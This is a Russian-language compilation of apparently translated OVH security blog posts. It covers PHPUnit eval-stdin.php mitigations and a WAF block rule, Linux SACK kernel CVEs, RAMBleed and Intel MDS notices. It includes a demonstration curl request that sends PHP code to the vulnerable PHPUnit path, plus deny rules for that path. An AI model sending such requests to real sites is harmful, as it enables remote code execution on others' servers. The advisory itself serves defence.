Если обновления CMS недоступны (или не могут быть применены), можно выполнить любое из следующих действий:

Удалите модуль PHPUnit:
- Через композитор (если установка производилась с помощью композитора)

$ composer --working-dir=${HOME}/www remove phpunit/phpunit
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 0 updates, 26 removals
  - Removing webmozart/assert (1.6.0)
  - Removing symfony/yaml (v3.4.36)
  - Removing symfony/polyfill-ctype (v1.13.1)
  - Removing sebastian/version (2.0.1)
  - Removing sebastian/resource-operations (1.0.0)
  - Removing sebastian/recursion-context (1.0.5)
  - Removing sebastian/object-enumerator (1.0.0)
  - Removing sebastian/global-state (1.1.1)
  - Removing sebastian/exporter (1.2.2)
  - Removing sebastian/environment (2.0.0)
  - Removing sebastian/diff (1.4.3)
  - Removing sebastian/comparator (1.2.4)
  - Removing sebastian/code-unit-reverse-lookup (1.0.1)
  - Removing phpunit/phpunit-mock-objects (3.4.4)
  - Removing phpunit/phpunit (5.6.2)
  - Removing phpunit/php-token-stream (2.0.2)
  - Removing phpunit/php-timer (1.0.9)
  - Removing phpunit/php-text-template (1.2.1)
  - Removing phpunit/php-file-iterator (1.4.5)
  - Removing phpunit/php-code-coverage (4.0.8)
  - Removing phpspec/prophecy (1.10.1)
  - Removing phpdocumentor/type-resolver (1.0.1)
  - Removing phpdocumentor/reflection-docblock (4.3.4)
  - Removing phpdocumentor/reflection-common (2.0.0)
  - Removing myclabs/deep-copy (1.9.4)
  - Removing doctrine/instantiator (1.3.0)
Generating autoload files

Удалите установочную папку

$ rm -rf ${HOME}/www/vendor/phpunit

Блокировать HTTP-запросы к URL-адресу, достигающему модуля PHPUnit

$ cat << EOF > ${HOME}/www/.htaccess 
<IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteRule ^vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php$ - [F]
</IfModule>
EOF

Запретить HTTP-запросы, нацеленные на папку «vendor»

$ cat << EOF > ${HOME}/www/vendor/.htaccess
Require all denied
EOF

Как веб-хостинг OVHcloud защищает вас?

Клиенты OVHcloud Web Hosting чрезвычайно разнообразны, поэтому исправления могут потребовать слишком много времени, чтобы применить их на каждом отдельном веб-сайте.

Поэтому мы решили применить высокоуровневую защиту для платформ веб-хостинга OVHcloud.

Ниже вы найдете простую схему инфраструктуры веб-хостинга OVHcloud:

IPLB (балансировщики нагрузки OVHcloud) являются точкой входа в кластеры веб-хостинга. Они несут свои IP-адреса и заботятся об их высокой доступности и балансировке нагрузки. Они передают запросы в « WAF ».
WAF (брандмауэр веб-приложений) обрабатывает весь трафик и может действовать как фильтр. Они направляют запросы на веб-серверы . « WAF » — это серверы верхнего уровня в стеке кластера. Они также очень доступны.
Веб-серверы отвечают за обслуживание ресурсов и выполнение сред (PHP, Node.js…).

Чтобы защитить всех пользователей нашего веб-хостинга OVHcloud, мы решили заблокировать все запросы к /phpunit/src/Util/PHP/eval-stdin.php со стороны WAF до того, как они достигнут наших веб-серверов.

Технически наше решение WAF основано на Naxsi. Поэтому на практике мы добавили правило для сопоставления и отклонения всех запросов с шаблоном «/phpunit/src/Util/PHP/eval-stdin.php», которое охватывает все методы HTTP. Заблокированные запросы вызывают ошибку HTTP 503.

Итак, если мы попробуем использовать эксплойт на сайте, размещенном на платформах веб-хостинга OVHcloud, мы получим следующий результат:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
<html>
<head><title>503 Service Temporarily Unavailable</title></head> 
<body> 
<center><h1>503 Service Temporarily Unavailable</h1></center> 
<hr><center>nginx</center> 
</body> 
</html>

Ключевые цифры

Чтобы дать вам представление о масштабах этой атаки, мы заблокировали около 4,5 миллионов запросов, направленных на PHPUnit, за одну неделю, используя около 2000 различных шаблонов URL.

Запросы, заблокированные для каждого кластера в течение одного дня:

Самые популярные модели заблокированных запросов каждую неделю:

Некоторые лучшие практики

Если вы используете CMS, такую как WordPress , PrestaShop , Drupal , Joomla! , или Ghost , обновляйте его компоненты (т. е. ядро и плагины) и по возможности включайте автоматические обновления.
Используйте время выполнения (PHP, Node.js…), которое все еще поддерживается. Поддерживаемые версии PHP и версии, поддерживаемые Node.js , доступны по этим ссылкам.
Не устанавливайте «пакеты разработки» в производственной среде, если они вам не нужны.
Ограничьте доступ к ресурсам, которые не нужно размещать в Интернете. Папка «vendor» в Composer — хороший пример.
Иметь минимальные права доступа к файлам и папкам. Например, только некоторые из них должны быть доступны для записи.

Уязвимости ядра Linux, влияющие на компонент выборочного ACK

OVH Blog News

18 июня 2019 года в 19:00 по центральноевропейскому летнему времени были обнаружены 4 уязвимости, влияющие на стек TCP ядра Linux. Эти уязвимости связаны с целочисленным переполнением в ядре Linux, которое может привести к панике ядра, с одной стороны, и с алгоритмической сложностью реализации SACK, приводящей к исчерпанию ресурсов ЦП, с другой стороны. В обоих случаях влияние ограничивается доступностью сервиса.

Кто уязвим?

Все Linux Oses с ядром 2.6.29 и выше (с марта 2009 г.)
FreeBSD 12 использует стек RACK TCP. Обратите внимание, что, к счастью, это не стек по умолчанию, вы можете запустить следующую команду, чтобы указать, использует ли ваша система реализацию «RACK» или нет:
# sysctl net.inet.tcp.cc.algorithm
Если вы открываете службу TCP в Интернете (веб-службу, ssh, rcp,…), ваша система потенциально может быть затронута, поскольку для успешной атаки требуется только установить TCP-канал.
Если ваша служба находится за брандмауэром или iptables / pfsense настроен так, чтобы открывать службу только для доверенных IP-адресов, вы в безопасности.

Как исправить?
Есть 3 разных способа, вам нужно выбрать только ОДИН из них.

1. Обновите ядро

Основные дистрибутивы Linux уже выпустили исправление:

Linux версии 4.4.182 или выше
Linux версии 4.9.182 или выше
Linux версии 4.14.127 или выше
Linux версии 4.19.52 или выше
Linux версии 5.1.11 или выше.
Обратите внимание, что ветка Linux версии 3.16 еще не была объявлена исправляемой. (2019-06-18)

Кстати, загляните на веб-сайт вашего дистрибутива (Ubuntu, RedHat, SuSE,…) для получения более подробной информации, поскольку ваш поставщик мог бы перенести патч на собственную версию ядра.

2. Снижение риска брандмауэра

Атака основана на небольшом варианте MSS, который очень необычен для стандартного сетевого взаимодействия. Следовательно, вы можете отбросить все пакеты с помощью небольшой опции MSS, чтобы предотвратить атаку вашей системы. Например, правила iptables могут выглядеть так:

3. Отключить SACK (не рекомендуется)

Поскольку основной причиной уязвимости является проблема обработки SACK, вы также можете отключить SACK в своем ядре. Имейте в виду, что SACK — это оптимизация протокола TCP с целью повышения производительности подтверждения пакетов. Отключение этой функции может сильно повлиять на вашу производительность, и мы не рекомендуем это решение.

Является ли эксплойт общедоступным?

Насколько нам известно (18.06.2019), публичных эксплойтов пока нет, но это, вероятно, вопрос часов / дней.

Краткие технические пояснения

CVE-2019-11477

Целочисленное переполнение 16-битного счетчика (tcp_skb_pcount) может произойти в ядре, которое приведет к ошибке BUG_ON (не совсем паника, но оставит вашу систему в нестабильном — потенциально непригодном для использования — состоянии).

Уменьшая значение параметра MSS до небольшого значения, злоумышленник может заставить вашу систему отправлять большое количество пакетов на вредоносный удаленный IP-адрес, находящийся под его контролем. Функция SACK позволит удаленному вредоносному IP подтверждать только несколько пакетов из всех отправленных.

Ваше ядро будет хранить список неподтвержденных пакетов, который увеличивает 16-разрядный счетчик (tcp_skb_pcount), который в какой-то момент переполняется и вызывает ошибку сравнения, приводящую к BUG_ON.

CVE-2019-11478

Используя тот же предыдущий сценарий, злоумышленник может фрагментировать буфер сокета (SKB) ядра Linux, подтвердив только несколько пакетов. Затем структура данных фрагментируется, что снижает производительность и может заставить ядро потреблять больше ЦП.

CVE-2019-11479

Уменьшая параметр MSS до минимально допустимого значения (48 байтов), злоумышленник может замедлить (заморозить) систему. Поскольку для пользовательских данных остается только 8 байтов, у сервера могут возникнуть трудности с ответом на запросы, отправленные злоумышленником, что может привести к ненормальному потреблению ресурсов процессора ядром.

Идентификационные номера

Эти уязвимости упоминаются в общих уязвимостях и уязвимостях следующим образом:

CVE-2019-11477: SACK Panic (Linux> = 2.6.29) | CVSS: 8,2
CVE-2019-11478: медленная работа SACK (Linux <4.15) или чрезмерное использование ресурсов (все версии Linux) | CVSS: 5,3
CVE-2019-11479: чрезмерное потребление ресурсов из-за низких значений MSS (все версии Linux) | CVSS: 7,5
CVE-2019-5599: Медлительность SACK (FreeBSD 12 с использованием стека TCP RACK) | Низкая степень серьезности

Внешние ссылки

RAMBleed DRAM

OVH Blog News

В июне 11 — го, исследователи безопасности опубликовал статью под названием « RAMBleed Чтение Биты в памяти без доступа к ним ». В этой статье описывается вектор противодействия модулям динамической оперативной памяти (DRAM), которые уже уязвимы для атак типа Роухаммера.

Системы, использующие модули DRAM, защищенные от атак в стиле Rowhammer, остаются защищенными от RAMBleed.

Этот вектор может влиять на аппаратные продукты, в том числе некоторые из них используются OVH.

Эта уязвимость упоминается как:

· CVE-2019-0174 cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0174

По словам исследователей, « RAMBleed имеет невысокую скорость чтения памяти — около 3–4 бит в секунду. Это дает достаточно времени для контрмер по очистке памяти, чтобы удалить кратковременные секретные данные из памяти цели ».

На данный момент OVH не получил никакой информации, подтверждающей, что вектор был использован в его инфраструктуре.

Обратите внимание, что для получения доступа к секрету злоумышленник должен пройти аутентификацию в операционной системе, и никакие другие процессы не должны выполняться.

Мы оцениваем риск для наших клиентов как очень низкий, поскольку этот вектор не может пересекать границы виртуальной машины.

Уязвимости Intel

OVH Blog News

Как и все игроки ИТ-сектора, 14 мая 2019 года OVH была проинформирована об уязвимостях системы безопасности после обнаружения аппаратных уязвимостей в процессорах Intel.

Эти новые уязвимости аналогичны предыдущим спектрам уязвимостей и уязвимостей, связанных с расплавлением, и затрагивают микропроцессоры Intel, которые являются частью компонентов, используемых OVH.

Исследователи представили доказательства концептуальных атак под названиями RIDL, Fallout и ZombieLoad, которые используют следующие векторы атак:

Без вмешательства OVH или его клиентов эти уязвимости могут позволить опытному злоумышленнику провести сложную атаку. Если бы он был завершен, это потенциально позволило бы получить доступ к некоторым данным, размещенным в наших мультитенантных инфраструктурах. На данный момент OVH не получил никакой информации, свидетельствующей о том, что в его инфраструктуре были использованы соответствующие уязвимости. Создание надежного облака связано с большими обязанностями, и безопасность данных клиентов всегда была для OVH первостепенной задачей. Как только эта информация дошла до нас, OVH немедленно мобилизовал свой кризисный отдел, чтобы определить потенциальные последствия этих недостатков и создать наиболее подходящую структуру для защиты данных своих клиентов. Поскольку для некоторых исправлений этих уязвимостей требуется обновление прошивки процессоров Intel, мы находимся в тесном контакте с их командой, чтобы обеспечить оптимальное развертывание микрокода. Чтобы завершить устранение этих уязвимостей, мы предлагаем нашим клиентам обновить операционную систему своего сервера. Вы можете найти информацию о наиболее распространенных операционных системах ниже:

Мы будем информировать вас как можно скорее о плане действий и расписании связанных операций обновления.